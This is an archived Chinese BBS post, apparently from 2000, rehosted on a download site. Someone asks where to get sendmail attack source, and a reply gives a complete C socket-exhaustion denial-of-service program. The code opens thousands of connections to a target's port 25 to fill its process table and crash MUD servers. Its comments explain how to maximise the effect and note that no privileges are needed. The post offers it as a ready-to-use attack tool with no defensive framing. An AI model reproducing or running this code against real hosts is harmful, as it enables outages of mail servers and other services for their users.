⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 380.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="377.htm">上一层</a>][<a href="381.htm">下一篇</a>]
<hr><p align="left"><small>发信人: VRGL (毕业设计做三维渲染----真苦!!!), 信区: Security <br>

标  题: Re: 请问哪儿可以下栽对sendmail进行攻击的源程序 <br>

发信站: BBS 水木清华站 (Sat Aug  5 08:52:47 2000) <br>

  <br>

/*  This little program opens as many sockets with a remote <br>

 *  host as can be supported by both.  It catches ^C and kill <br>

 *  commands to shut down cleanly by closing all open connections <br>

 *  before exiting.  Often, a remote workstation can be brought <br>

 *  to its knees by saturating its process table via multiple <br>

 *  invocations of sendmail.  That's why port 25 (the sendmail <br>

 *  port) is the default.  If the target's process table (set <br>

 *  when the target kernel was created) is filled, users will be <br>

 *  unable to execute any shell commands.  Many MUDs also crash <br>

 *  when the number of sockets they have open exceeds a certain <br>

 *  number.  This program will put stress on MUDs by testing <br>

 *  their limits.  If a limit is reached, the MUD will either <br>

 *  crash or will refuse to let new users log in. <br>

 * <br>

 *  The program is incomplete, in that it doesn't check for <br>

 *  socket timeouts and subsequently reuse timed out sockets. <br>

 *  That means the program can only keep a remote host / mud <br>

 *  locked up until it exhausts its own available new sockets, <br>

 *  or until it has reached MAX_DESCRIPTORS remote connections <br>



 *  as set by the #define statement. <br>

 * <br>

 *  If the local machine starts issuing error messages, then <br>

 *  the program has failed to saturate the remote host and has <br>

 *  instead reached the limits of the local machine.  Use ^C or <br>

 *  the kill command to terminate it.  If you are knowledgable <br>

 *  about rebuilding kernels and have access to the root account, <br>

 *  you can build a special kernel that will allow you to reach <br>

 *  a much larger number of open sockets. <br>

 * <br>

 *  Before running this, be sure to issue the c shell command: <br>

 *              'limit descriptors nnn' <br>

 *  where nnn is the largest descriptor limit, as revealed <br>

 *  by the 'limit -h' command if applicable.  Some unixes may <br>

 *  not have a descriptors category at all. <br>

 * <br>

 *  This program has been tested with SunOS version 4.1.3, Irix <br>

 *  version 5, and with Linux. <br>

 * <br>

 *  You don't need to be a privileged user to run it. <br>

 */ <br>

#include <stdio.h> <br>



#include <stdlib.h> <br>

#include <bstring.h>   /* needed for Irix */ <br>

#include <unistd.h> <br>

#include <sys/types.h> <br>

#include <netinet/in.h> <br>

#include <arpa/inet.h> /* needed for Irix */ <br>

#include <sys/socket.h> <br>

#include <signal.h> <br>

#define MAX_DESCRIPTORS 2500 <br>

int i, fd[MAX_DESCRIPTORS]; <br>

void CatchTERM() <br>

{ <br>

printf("\nCaught sig TERM or INT! Cleaning up.\n"); <br>

for( ; i>=0; i--) { <br>

         if( shutdown( fd[i], 2 ) < 0 ) perror("shutdown"); <br>

         printf("Closing %i\n", i); <br>

         if( close( fd[i] ) ) perror("close"); <br>

         } <br>

printf("Done. Committing suicide. ARRGH!\n"); <br>

exit (1); <br>

} <br>

main(argc,argv) <br>



int argc; <br>

char *argv[]; <br>

{ <br>

         int     opt,pid; <br>

         struct  sockaddr_in sin[MAX_DESCRIPTORS]; <br>

         char    buf[2]; <br>

         if( argc < 2 ) { <br>

            printf("Usage:\t%s address [port]\n", argv[0] ); <br>

            printf("\twhere address is a numeric internet address\n"); <br>

            printf("\tand port is an optional port number (default=25)\n"); <br>

            exit (0); <br>

                    } <br>

         pid = getpid(); <br>

         opt = 1; <br>

         signal( SIGTERM, CatchTERM); <br>

         signal( SIGINT, CatchTERM); <br>

  for ( i=0; i<MAX_DESCRIPTORS; i++) { <br>

       fd[i] = socket(AF_INET, SOCK_STREAM, 0); <br>

       if ( fd[i] < 0 ) { printf("socket %i failed\n",i); <br>

                          perror("socket"); <br>

                         } <br>

           else { <br>



/*  Someday, the following call will be used to allow socket reuse ...  */ <br>

/*      if ( setsockopt( fd[i], SOL_SOCKET, SO_REUSEADDR, ( char *) &opt, <br>

 *       sizeof(opt)) < 0 ) { <br>

 *           printf("setsockopt %i failed\n",i); sleep(10); } <br>

 */ <br>

         bzero((char *)&sin[i], sizeof(sin[0])); <br>

         sin[i].sin_family = AF_INET; <br>

         sin[i].sin_addr.s_addr = inet_addr(argv[1]); <br>

         sin[i].sin_port = htons((argc > 2) ? atoi(argv[2]) : 25); <br>

         if( connect(fd[i], &sin[i], sizeof(sin[0])) < 0) { <br>

             printf("connect %i failed.\n",i); <br>

             perror("connect"); <br>

             break; <br>

                                 } <br>

         read(fd[i], buf, 1); <br>

         printf("pid: %i, desc %i\n", pid, i); <br>

                } <br>

  } <br>

  i--; <br>

  printf("closing connection.\n"); <br>

  for ( ; i>=0; i-- ) { if( shutdown( fd[i], 2) <0) perror("shutdown"); <br>

                 if( close(fd[i]) ) perror("close"); <br>



                 else printf("closed %i\n", i); <br>

                 } <br>

} <br>

  <br>

【 在 volkswagon (痛哭的人) 的大作中提到: 】 <br>

: 如题 <br>

  <br>

  <br>

-- <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="377.htm">上一层</a>][<a href="381.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -